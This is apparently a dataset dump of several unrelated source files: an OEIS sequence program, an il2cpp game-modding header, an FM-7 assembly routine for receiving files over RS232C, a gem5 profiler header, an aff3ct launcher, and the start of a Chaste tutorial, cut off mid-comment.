text
stringlengths
1
1.05M
; A271427: a(n) = 7^n - a(n-1) for n>0, a(0)=0. ; 0,7,42,301,2100,14707,102942,720601,5044200,35309407,247165842,1730160901,12111126300,84777884107,593445188742,4154116321201,29078814248400,203551699738807,1424861898171642,9974033287201501,69818233010410500,488727631072873507,3421093417510114542 mov $1,7 pow $1,$0 add $1,2 div $1,8 mul $1,7 mov $0,$1
// Autogenerated from CppHeaderCreator // Created by Sc2ad // ========================================================================= #pragma once // Begin includes #include "beatsaber-hook/shared/utils/byref.hpp" // Including type: System.ValueType #include "System/ValueType.hpp" // Including type: UnityEngine.ResourceManagement.Util.SerializedType #include "UnityEngine/ResourceManagement/Util/SerializedType.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils-properties.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils-fields.hpp" #include "beatsaber-hook/shared/utils/utils.h" #include "beatsaber-hook/shared/utils/typedefs-string.hpp" // Completed includes // Begin forward declares // Forward declaring namespace: UnityEngine::ResourceManagement::AsyncOperations namespace UnityEngine::ResourceManagement::AsyncOperations { // Forward declaring type: AsyncOperationHandle struct AsyncOperationHandle; } // Forward declaring namespace: UnityEngine::ResourceManagement namespace UnityEngine::ResourceManagement { // Forward declaring type: ResourceManager class ResourceManager; } // Completed forward declares // Type namespace: UnityEngine.ResourceManagement.Util namespace UnityEngine::ResourceManagement::Util { // Forward declaring type: ObjectInitializationData struct ObjectInitializationData; } #include "beatsaber-hook/shared/utils/il2cpp-type-check.hpp" DEFINE_IL2CPP_ARG_TYPE(::UnityEngine::ResourceManagement::Util::ObjectInitializationData, "UnityEngine.ResourceManagement.Util", "ObjectInitializationData"); // Type namespace: UnityEngine.ResourceManagement.Util namespace UnityEngine::ResourceManagement::Util { // Size: 0x30 #pragma pack(push, 1) // WARNING Layout: Sequential may not be correctly taken into account! // Autogenerated type: UnityEngine.ResourceManagement.Util.ObjectInitializationData // [TokenAttribute] Offset: FFFFFFFF struct ObjectInitializationData/*, public ::System::ValueType*/ { public: public: // [FormerlySerializedAsAttribute] Offset: 0x123DF40 // private System.String m_Id // Size: 0x8 // Offset: 0x0 ::StringW m_Id; // Field size check static_assert(sizeof(::StringW) == 0x8); // [FormerlySerializedAsAttribute] Offset: 0x123DF8C // private UnityEngine.ResourceManagement.Util.SerializedType m_ObjectType // Size: 0x19 // Offset: 0x8 ::UnityEngine::ResourceManagement::Util::SerializedType m_ObjectType; // Field size check static_assert(sizeof(::UnityEngine::ResourceManagement::Util::SerializedType) == 0x19); // Padding between fields: m_ObjectType and: m_Data char __padding1[0x7] = {}; // [FormerlySerializedAsAttribute] Offset: 0x123DFD8 // private System.String m_Data // Size: 0x8 // Offset: 0x28 ::StringW m_Data; // Field size check static_assert(sizeof(::StringW) == 0x8); public: // Creating value type constructor for type: ObjectInitializationData constexpr ObjectInitializationData(::StringW m_Id_ = {}, ::UnityEngine::ResourceManagement::Util::SerializedType m_ObjectType_ = {}, ::StringW m_Data_ = {}) noexcept : m_Id{m_Id_}, m_ObjectType{m_ObjectType_}, m_Data{m_Data_} {} // Creating interface conversion operator: operator ::System::ValueType operator ::System::ValueType() noexcept { return *reinterpret_cast<::System::ValueType*>(this); } // Get instance field reference: private System.String m_Id ::StringW& dyn_m_Id(); // Get instance field reference: private UnityEngine.ResourceManagement.Util.SerializedType m_ObjectType ::UnityEngine::ResourceManagement::Util::SerializedType& dyn_m_ObjectType(); // Get instance field reference: private System.String m_Data ::StringW& dyn_m_Data(); // public System.String get_Id() // Offset: 0x1EA3770 ::StringW get_Id(); // public UnityEngine.ResourceManagement.Util.SerializedType get_ObjectType() // Offset: 0x1EA3778 ::UnityEngine::ResourceManagement::Util::SerializedType get_ObjectType(); // public System.String get_Data() // Offset: 0x1EA3788 ::StringW get_Data(); // public TObject CreateInstance(System.String idOverride) // Offset: 0xFFFFFFFFFFFFFFFF template<class TObject> TObject CreateInstance(::StringW idOverride) { static auto ___internal__logger = ::Logger::get().WithContext("::UnityEngine::ResourceManagement::Util::ObjectInitializationData::CreateInstance"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(*this, "CreateInstance", std::vector<Il2CppClass*>{::il2cpp_utils::il2cpp_type_check::il2cpp_no_arg_class<TObject>::get()}, ::std::vector<const Il2CppType*>{::il2cpp_utils::ExtractType(idOverride)}))); static auto* ___generic__method = THROW_UNLESS(::il2cpp_utils::MakeGenericMethod(___internal__method, std::vector<Il2CppClass*>{::il2cpp_utils::il2cpp_type_check::il2cpp_no_arg_class<TObject>::get()})); return ::il2cpp_utils::RunMethodRethrow<TObject, false>(this, ___generic__method, idOverride); } // public UnityEngine.ResourceManagement.AsyncOperations.AsyncOperationHandle GetAsyncInitHandle(UnityEngine.ResourceManagement.ResourceManager rm, System.String idOverride) // Offset: 0x1EA381C ::UnityEngine::ResourceManagement::AsyncOperations::AsyncOperationHandle GetAsyncInitHandle(::UnityEngine::ResourceManagement::ResourceManager* rm, ::StringW idOverride); // public override System.String ToString() // Offset: 0x1EA3790 // Implemented from: System.ValueType // Base method: System.String ValueType::ToString() ::StringW ToString(); }; // UnityEngine.ResourceManagement.Util.ObjectInitializationData #pragma pack(pop) static check_size<sizeof(ObjectInitializationData), 40 + sizeof(::StringW)> __UnityEngine_ResourceManagement_Util_ObjectInitializationDataSizeCheck; static_assert(sizeof(ObjectInitializationData) == 0x30); } #include "beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp" // Writing MetadataGetter for method: UnityEngine::ResourceManagement::Util::ObjectInitializationData::get_Id // Il2CppName: get_Id template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<::StringW (UnityEngine::ResourceManagement::Util::ObjectInitializationData::*)()>(&UnityEngine::ResourceManagement::Util::ObjectInitializationData::get_Id)> { static const MethodInfo* get() { return ::il2cpp_utils::FindMethod(classof(UnityEngine::ResourceManagement::Util::ObjectInitializationData), "get_Id", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{}); } }; // Writing MetadataGetter for method: UnityEngine::ResourceManagement::Util::ObjectInitializationData::get_ObjectType // Il2CppName: get_ObjectType template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<::UnityEngine::ResourceManagement::Util::SerializedType (UnityEngine::ResourceManagement::Util::ObjectInitializationData::*)()>(&UnityEngine::ResourceManagement::Util::ObjectInitializationData::get_ObjectType)> { static const MethodInfo* get() { return ::il2cpp_utils::FindMethod(classof(UnityEngine::ResourceManagement::Util::ObjectInitializationData), "get_ObjectType", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{}); } }; // Writing MetadataGetter for method: UnityEngine::ResourceManagement::Util::ObjectInitializationData::get_Data // Il2CppName: get_Data template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<::StringW (UnityEngine::ResourceManagement::Util::ObjectInitializationData::*)()>(&UnityEngine::ResourceManagement::Util::ObjectInitializationData::get_Data)> { static const MethodInfo* get() { return ::il2cpp_utils::FindMethod(classof(UnityEngine::ResourceManagement::Util::ObjectInitializationData), "get_Data", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{}); } }; // Writing MetadataGetter for method: UnityEngine::ResourceManagement::Util::ObjectInitializationData::CreateInstance // Il2CppName: CreateInstance // Cannot write MetadataGetter for generic methods! // Writing MetadataGetter for method: UnityEngine::ResourceManagement::Util::ObjectInitializationData::GetAsyncInitHandle // Il2CppName: GetAsyncInitHandle template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<::UnityEngine::ResourceManagement::AsyncOperations::AsyncOperationHandle (UnityEngine::ResourceManagement::Util::ObjectInitializationData::*)(::UnityEngine::ResourceManagement::ResourceManager*, ::StringW)>(&UnityEngine::ResourceManagement::Util::ObjectInitializationData::GetAsyncInitHandle)> { static const MethodInfo* get() { static auto* rm = &::il2cpp_utils::GetClassFromName("UnityEngine.ResourceManagement", "ResourceManager")->byval_arg; static auto* idOverride = &::il2cpp_utils::GetClassFromName("System", "String")->byval_arg; return ::il2cpp_utils::FindMethod(classof(UnityEngine::ResourceManagement::Util::ObjectInitializationData), "GetAsyncInitHandle", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{rm, idOverride}); } }; // Writing MetadataGetter for method: UnityEngine::ResourceManagement::Util::ObjectInitializationData::ToString // Il2CppName: ToString template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<::StringW (UnityEngine::ResourceManagement::Util::ObjectInitializationData::*)()>(&UnityEngine::ResourceManagement::Util::ObjectInitializationData::ToString)> { static const MethodInfo* get() { return ::il2cpp_utils::FindMethod(classof(UnityEngine::ResourceManagement::Util::ObjectInitializationData), "ToString", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{}); } };
EXPORT RS232C_RECEIVE_FILE EXPORT RS232C_RECEIVE_FILE_NAME EXPORT RS232C_RECEIVE_FILE_TYPE EXPORT RS232C_RECEIVE_FILE_BEGIN EXPORT RS232C_RECEIVE_FILE_SIZE EXPORT RS232C_RECEIVE_FILE_SIZE_ACTUAL EXPORT RS232C_RECEIVE_FILE_EXEC EXPORT RS232C_RECEIVE_FILE_CHECKSUM EXPORT RS232C_RECEIVE_FILE_XOR EXPORT RS232C_RECEIVE_FILE_CHECKSUM_CALC EXPORT RS232C_RECEIVE_FILE_XOR_CALC EXPORT RS232C_RECEIVE_FILE_CHECKSUM_ERROR EXPORT RS232C_RECEIVE_FILE_XOR_ERROR ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RS232C_RECEIVE_FILE_TYPE FCB 0 RS232C_RECEIVE_FILE_BEGIN FDB $1A00 RS232C_RECEIVE_FILE_SIZE FDB $0 RS232C_RECEIVE_FILE_SIZE_ACTUAL FDB $0 RS232C_RECEIVE_FILE_EXEC FDB $1A00 RS232C_RECEIVE_FILE_CHECKSUM FDB $0 RS232C_RECEIVE_FILE_XOR FCB 0 RS232C_RECEIVE_FILE_CHECKSUM_CALC FDB $0 RS232C_RECEIVE_FILE_XOR_CALC FCB 0 RS232C_RECEIVE_FILE_CHECKSUM_ERROR FCB 0 RS232C_RECEIVE_FILE_XOR_ERROR FCB 0 RS232C_RECEIVE_FILE_NAME FCB "FILENAME",0 ; Change of strategy for reading a binary file. ; Encoding 16 characters into 8 bytes while reading cannot keep up with 19200bps ; First read everything into URA-RAM and then decode after reading. RS232C_STRING_READ_BUFFER_PTR EQU $8000 RS232C_STRING_READ_BUFFER_SIZE EQU $100 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RS232C_RECEIVE_FILE PSHS A,B,X,Y,U,CC ORCC #$50 LBSR RS232C_OPEN BSR RS232C_RECEIVE_FILE_SUB LBSR RS232C_CLOSE PULS A,B,X,Y,U,CC,PC ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; RS232C_RECEIVE_FILE_SUB ; Does not open and close RS232C (therefore does not reset at start.) ; Does not save registers. ; Does not mask IRQs ; These must be done in the calling process. RS232C_RECEIVE_FILE_SUB STA $FD0F LDX RS232C_RECEIVE_FILE_BEGIN,PCR STX RS232C_RECEIVE_FILE_EXEC,PCR LDX #0 STX RS232C_RECEIVE_FILE_SIZE,PCR RS232C_RECEIVE_FILE_WAIT LDX #$6F00 STX RS232C_RECEIVE_BUFFER_BEGIN,PCR LDX #$0100 STX RS232C_RECEIVE_BUFFER_SIZE,PCR LDA $FD04 ANDA #2 BEQ RS232C_RECEIVE_FILE_EXIT ; Break key? LBSR RS232C_RECEIVE_ASCII LDD RS232C_RECEIVE_BUFFER_USED,PCR BEQ RS232C_RECEIVE_FILE_WAIT LDX RS232C_RECEIVE_BUFFER_BEGIN,PCR LDA ,X+ STA RS232C_RECEIVE_FILE_TYPE,PCR CMPA #'A' ; ASCII BNE RS232C_RECEIVE_FILE_NOT_ASCII BSR RS232C_RECEIVE_FILE_BASIC BRA RS232C_RECEIVE_FILE_EXIT RS232C_RECEIVE_FILE_NOT_ASCII CMPA #'B' BNE RS232C_RECEIVE_FILE_NOT_BINARY LBSR RS232C_RECEIVE_FILE_BINARY BRA RS232C_RECEIVE_FILE_EXIT RS232C_RECEIVE_FILE_NOT_BINARY CMPA #'F' BNE RS232C_RECEIVE_FILE_NOT_FILENAME LBSR RS232C_RECEIVE_FILE_NAME_FETCH BRA RS232C_RECEIVE_FILE_WAIT RS232C_RECEIVE_FILE_NOT_FILENAME RS232C_RECEIVE_FILE_EXIT LDA $FD0F RTS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RS232C_RECEIVE_FILE_BASIC LDX RS232C_RECEIVE_FILE_BEGIN,PCR RS232C_RECEIVE_FILE_BASIC_LOOP STX RS232C_RECEIVE_BUFFER_BEGIN,PCR LBSR RS232C_RECEIVE_ASCII LDA #'Q' CMPA ,X BEQ RS232C_RECEIVE_FILE_BASIC_EXIT LDD RS232C_RECEIVE_BUFFER_USED,PCR LEAX D,X ADDD #2 ADDD RS232C_RECEIVE_FILE_SIZE,PCR STD RS232C_RECEIVE_FILE_SIZE,PCR LDD #$0D0A STD ,X++ BRA RS232C_RECEIVE_FILE_BASIC_LOOP RS232C_RECEIVE_FILE_BASIC_EXIT RTS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; A reg Input '0'-'9' 'A'-F' ; A reg Output 0x00 to 0x0f ; '0'...48 ; 'A'...65 ('A'-'0'=17) ; 'a'...97 ('a'-'A'=32) RS232C_RECEIVE_FILE_XTOA_4BIT SUBA #'0' BCS RS232C_RECEIVE_FILE_XTOA_4BIT_NOT_HEXADECIMAL CMPA #9 BHI RS232C_RECEIVE_FILE_XTOA_4BIT_NOT_NUMERIC RTS RS232C_RECEIVE_FILE_XTOA_4BIT_NOT_NUMERIC SUBA #'A'-'0' BCS RS232C_RECEIVE_FILE_XTOA_4BIT_NOT_HEXADECIMAL CMPA #5 BHI RS232C_RECEIVE_FILE_XTOA_4BIT_NOT_CAPITAL ADDA #10 RTS RS232C_RECEIVE_FILE_XTOA_4BIT_NOT_CAPITAL SUBA #'a'-'A' BCS RS232C_RECEIVE_FILE_XTOA_4BIT_NOT_HEXADECIMAL CMPA #5 BHI RS232C_RECEIVE_FILE_XTOA_4BIT_NOT_HEXADECIMAL ADDA #10 RTS RS232C_RECEIVE_FILE_XTOA_4BIT_NOT_HEXADECIMAL CLRA RTS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; X reg two byte ASCII code. X will be incremented by two. ; Output A RS232C_RECEIVE_FILE_XTOA_8BIT LDA ,X+ BSR RS232C_RECEIVE_FILE_XTOA_4BIT LSLA LSLA LSLA LSLA PSHS A LDA ,X+ BSR RS232C_RECEIVE_FILE_XTOA_4BIT ADDA ,S+ RTS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; X reg two byte ASCII code. X will be incremented by four. ; Output D RS232C_RECEIVE_FILE_XTOA_16BIT BSR RS232C_RECEIVE_FILE_XTOA_8BIT PSHS A BSR RS232C_RECEIVE_FILE_XTOA_8BIT TFR A,B PULS A,PC ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RS232C_RECEIVE_FILE_BINARY ; Implementing ; X pointing to aaaabbbbccccssssxx LDD RS232C_RECEIVE_BUFFER_USED,PCR CMPD #19 LBLO RS232C_RECEIVE_FILE_BINARY_EXIT BSR RS232C_RECEIVE_FILE_XTOA_16BIT STD RS232C_RECEIVE_FILE_BEGIN,PCR BSR RS232C_RECEIVE_FILE_XTOA_16BIT STD RS232C_RECEIVE_FILE_SIZE,PCR BSR RS232C_RECEIVE_FILE_XTOA_16BIT STD RS232C_RECEIVE_FILE_EXEC,PCR BSR RS232C_RECEIVE_FILE_XTOA_16BIT STD RS232C_RECEIVE_FILE_CHECKSUM,PCR BSR RS232C_RECEIVE_FILE_XTOA_8BIT STA RS232C_RECEIVE_FILE_XOR,PCR LDU RS232C_RECEIVE_FILE_BEGIN,PCR LDD #RS232C_STRING_READ_BUFFER_PTR STD RS232C_RECEIVE_BUFFER_BEGIN,PCR LDD #RS232C_STRING_READ_BUFFER_SIZE STD RS232C_RECEIVE_BUFFER_SIZE,PCR ; For some reason (although I believe I set COM port in Binary mode) ; it drops all zeros. I need to encode to hexadecimal and decode in FM-7. ; See "Change of Strategy" above. LDU #RS232C_STRING_READ_BUFFER_PTR CLR ,U RS232C_RECEIVE_FILE_BINARY_LOOP LDA $FD04 ANDA #2 BEQ RS232C_RECEIVE_FILE_BINARY_LOOP_BREAK ; Break key? LBSR RS232C_RECEIVE_ASCII STA $FD0F ; Re-enable URA RAM LDA #'Q' CMPA ,U BEQ RS232C_RECEIVE_FILE_BINARY_LOOP_BREAK LDD RS232C_RECEIVE_BUFFER_USED,PCR LEAU D,U STU RS232C_RECEIVE_BUFFER_BEGIN,PCR CLR ,U CMPU #$FC00 BCS RS232C_RECEIVE_FILE_BINARY_LOOP RS232C_RECEIVE_FILE_BINARY_LOOP_BREAK TFR U,D SUBD #RS232C_STRING_READ_BUFFER_PTR STD RS232C_RECEIVE_BUFFER_USED,PCR ; Now decode LDD RS232C_RECEIVE_BUFFER_USED,PCR ANDB #$FE TFR D,Y LDU RS232C_RECEIVE_FILE_BEGIN,PCR LDX #RS232C_STRING_READ_BUFFER_PTR RS232C_RECEIVE_FILE_BINARY_DECODE_LOOP LBSR RS232C_RECEIVE_FILE_XTOA_8BIT STA ,U+ LEAY -2,Y BNE RS232C_RECEIVE_FILE_BINARY_DECODE_LOOP TFR U,D SUBD RS232C_RECEIVE_FILE_BEGIN,PCR STD RS232C_RECEIVE_FILE_SIZE_ACTUAL,PCR LDU RS232C_RECEIVE_FILE_BEGIN,PCR LDY RS232C_RECEIVE_FILE_SIZE,PCR LDX #0 LDA #0 RS232C_RECEIVE_FILE_BINARY_CHECKSUMCALC_LOOP LDB ,U ABX EORA ,U+ LEAY -1,Y BNE RS232C_RECEIVE_FILE_BINARY_CHECKSUMCALC_LOOP CLR RS232C_RECEIVE_FILE_CHECKSUM_ERROR,PCR CLR RS232C_RECEIVE_FILE_XOR_ERROR,PCR STX RS232C_RECEIVE_FILE_CHECKSUM_CALC,PCR STA RS232C_RECEIVE_FILE_XOR_CALC,PCR CMPX RS232C_RECEIVE_FILE_CHECKSUM,PCR BEQ RS232C_RECEIVE_FILE_BINARY_CHECKSUM_VERIFIED INC RS232C_RECEIVE_FILE_CHECKSUM_ERROR,PCR RS232C_RECEIVE_FILE_BINARY_CHECKSUM_VERIFIED CMPA RS232C_RECEIVE_FILE_XOR,PCR BEQ RS232C_RECEIVE_FILE_BINARY_XOR_VERIFIED INC RS232C_RECEIVE_FILE_XOR_ERROR,PCR RS232C_RECEIVE_FILE_BINARY_XOR_VERIFIED RS232C_RECEIVE_FILE_BINARY_EXIT RTS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; RS232C_RECEIVE_FILE_NAME_FETCH LEAU RS232C_RECEIVE_FILE_NAME,PCR LDX RS232C_RECEIVE_BUFFER_BEGIN,PCR LDY RS232C_RECEIVE_BUFFER_USED,PCR LEAY -1,Y BEQ RS232C_RECEIVE_FILE_NAME_EXIT leax 1,X CMPY #8 BLS RS232C_RECEIVE_FILE_NAME_LOOP LDY #8 RS232C_RECEIVE_FILE_NAME_LOOP LDA ,X+ STA ,U+ LEAY -1,Y BNE RS232C_RECEIVE_FILE_NAME_LOOP RS232C_RECEIVE_FILE_NAME_EXIT CLR ,U+ RTS
/* * Copyright (c) 1999-2008 Mark D. Hill and David A. Wood * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer; * redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution; * neither the name of the copyright holders nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef __MEM_RUBY_PROFILER_ADDRESSPROFILER_HH__ #define __MEM_RUBY_PROFILER_ADDRESSPROFILER_HH__ #include <iostream> #include "base/hashmap.hh" #include "mem/protocol/AccessType.hh" #include "mem/protocol/RubyRequest.hh" #include "mem/ruby/common/Address.hh" #include "mem/ruby/common/Histogram.hh" #include "mem/ruby/profiler/AccessTraceForAddress.hh" #include "mem/ruby/profiler/Profiler.hh" class Set; class AddressProfiler { public: typedef m5::hash_map<Address, AccessTraceForAddress> AddressMap; public: AddressProfiler(int num_of_sequencers, Profiler *profiler); ~AddressProfiler(); void printStats(std::ostream& out) const; void clearStats(); void addTraceSample(Address data_addr, Address pc_addr, RubyRequestType type, RubyAccessMode access_mode, NodeID id, bool sharing_miss); void profileRetry(const Address& data_addr, AccessType type, int count); void profileGetX(const Address& datablock, const Address& PC, const Set& owner, const Set& sharers, NodeID requestor); void profileGetS(const Address& datablock, const Address& PC, const Set& owner, const Set& sharers, NodeID requestor); void print(std::ostream& out) const; //added by SS void setHotLines(bool hot_lines); void setAllInstructions(bool all_instructions); void regStats(const std::string &name) {} void collateStats() {} private: // Private copy constructor and assignment operator AddressProfiler(const AddressProfiler& obj); AddressProfiler& operator=(const AddressProfiler& obj); int64 m_sharing_miss_counter; AddressMap m_dataAccessTrace; AddressMap m_macroBlockAccessTrace; AddressMap m_programCounterAccessTrace; AddressMap m_retryProfileMap; Histogram m_retryProfileHisto; Histogram m_retryProfileHistoWrite; Histogram m_retryProfileHistoRead; Histogram m_getx_sharing_histogram; Histogram m_gets_sharing_histogram; Profiler *m_profiler; //added by SS bool m_hot_lines; bool m_all_instructions; int m_num_of_sequencers; }; AccessTraceForAddress& lookupTraceForAddress(const Address& addr, AddressProfiler::AddressMap& record_map); void printSorted(std::ostream& out, int num_of_sequencers, const AddressProfiler::AddressMap &record_map, std::string description, Profiler *profiler); inline std::ostream& operator<<(std::ostream& out, const AddressProfiler& obj) { obj.print(out); out << std::flush; return out; } #endif // __MEM_RUBY_PROFILER_ADDRESSPROFILER_HH__
#include "Factory/Module/Codec/Uncoded/Codec_uncoded.hpp" #include "Launcher/Code/Uncoded/Uncoded.hpp" using namespace aff3ct; using namespace aff3ct::launcher; template <class L, typename B, typename R, typename Q> Uncoded<L,B,R,Q> ::Uncoded(const int argc, const char **argv, std::ostream &stream) : L(argc, argv, stream), params_cdc(new factory::Codec_uncoded::parameters("cdc")) { this->params.set_cdc(params_cdc); } template <class L, typename B, typename R, typename Q> void Uncoded<L,B,R,Q> ::get_description_args() { params_cdc->get_description(this->args); auto penc = params_cdc->enc->get_prefix(); this->args.erase({penc+"-info-bits", "K"}); this->args.erase({penc+"-fra", "F"}); L::get_description_args(); } template <class L, typename B, typename R, typename Q> void Uncoded<L,B,R,Q> ::store_args() { L::store_args(); params_cdc->enc->K = this->params.src->K; params_cdc->store(this->arg_vals); params_cdc->enc->n_frames = this->params.src->n_frames; params_cdc->dec->n_frames = this->params.src->n_frames; } // ==================================================================================== explicit template instantiation #include "Tools/types.h" #include "Launcher/Simulation/EXIT.hpp" #include "Launcher/Simulation/BFER_std.hpp" #include "Launcher/Simulation/BFER_ite.hpp" #ifdef AFF3CT_MULTI_PREC template class aff3ct::launcher::Uncoded<aff3ct::launcher::EXIT <B_32,R_32 >,B_32,R_32 >; template class aff3ct::launcher::Uncoded<aff3ct::launcher::EXIT <B_64,R_64 >,B_64,R_64 >; template class aff3ct::launcher::Uncoded<aff3ct::launcher::BFER_std<B_8, R_8, Q_8 >,B_8 ,R_8 ,Q_8 >; template class aff3ct::launcher::Uncoded<aff3ct::launcher::BFER_std<B_16,R_16,Q_16>,B_16,R_16,Q_16>; template class aff3ct::launcher::Uncoded<aff3ct::launcher::BFER_std<B_32,R_32,Q_32>,B_32,R_32,Q_32>; template class aff3ct::launcher::Uncoded<aff3ct::launcher::BFER_std<B_64,R_64,Q_64>,B_64,R_64,Q_64>; template class aff3ct::launcher::Uncoded<aff3ct::launcher::BFER_ite<B_8, R_8, Q_8 >,B_8 ,R_8 ,Q_8 >; template class aff3ct::launcher::Uncoded<aff3ct::launcher::BFER_ite<B_16,R_16,Q_16>,B_16,R_16,Q_16>; template class aff3ct::launcher::Uncoded<aff3ct::launcher::BFER_ite<B_32,R_32,Q_32>,B_32,R_32,Q_32>; template class aff3ct::launcher::Uncoded<aff3ct::launcher::BFER_ite<B_64,R_64,Q_64>,B_64,R_64,Q_64>; #else #if defined(AFF3CT_32BIT_PREC) || defined(AFF3CT_64BIT_PREC) template class aff3ct::launcher::Uncoded<aff3ct::launcher::EXIT <B,R >,B,R >; #endif template class aff3ct::launcher::Uncoded<aff3ct::launcher::BFER_std<B,R,Q>,B,R,Q>; template class aff3ct::launcher::Uncoded<aff3ct::launcher::BFER_ite<B,R,Q>,B,R,Q>; #endif // ==================================================================================== explicit template instantiation
/* Copyright (c) 2005-2020, University of Oxford. All rights reserved. University of Oxford means the Chancellor, Masters and Scholars of the University of Oxford, having an administrative office at Wellington Square, Oxford OX1 2JD, UK. This file is part of Chaste. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the University of Oxford nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * * Chaste tutorial - this page gets automatically changed to a wiki page * DO NOT remove the comments below, and if the code has to be changed in * order to run, please check the comments are still accurate * * */ #ifndef TESTCREATINGANDUSINGANEWCELLPOPULATIONBOUNDARYCONDITIONTUTORIAL_HPP_ #define TESTCREATINGANDUSINGANEWCELLPOPULATIONBOUNDARYCONDITIONTUTORIAL_HPP_ /* * = An example showing how to create and use a new cell population boundary condition = * * EMPTYLINE * * == Introduction == * * EMPTYLINE * * In this tutorial we show how to create a new cell population boundary condition * class to specify a fixed domain within which cells are constrained to lie, and * how to use this in a cell-based simulation. * * EMPTYLINE * * == 1. Including header files == * * EMPTYLINE * * As in previous cell-based Chaste tutorials, we begin by including the necessary header files. */ #include <cxxtest/TestSuite.h> #include "CheckpointArchiveTypes.hpp" #include "AbstractCellBasedTestSuite.hpp" /* The next header defines a base class for cell population boundary conditions, * from which the new class will inherit. */ #include "AbstractCellPopulationBoundaryCondition.hpp" /* The remaining header files define classes that will be used in the cell-based * simulation test. You will have encountered some these files already in previous * cell-based Chaste tutorials. */ #include "OffLatticeSimulation.hpp" #include "HoneycombMeshGenerator.hpp" #include "HoneycombVertexMeshGenerator.hpp" #include "VertexBasedCellPopulation.hpp" #include "CellsGenerator.hpp" #include "FixedG1GenerationalCellCycleModel.hpp" #include "GeneralisedLinearSpringForce.hpp" #include "SmartPointers.hpp" #include "FakePetscSetup.hpp" /* * EMPTYLINE * 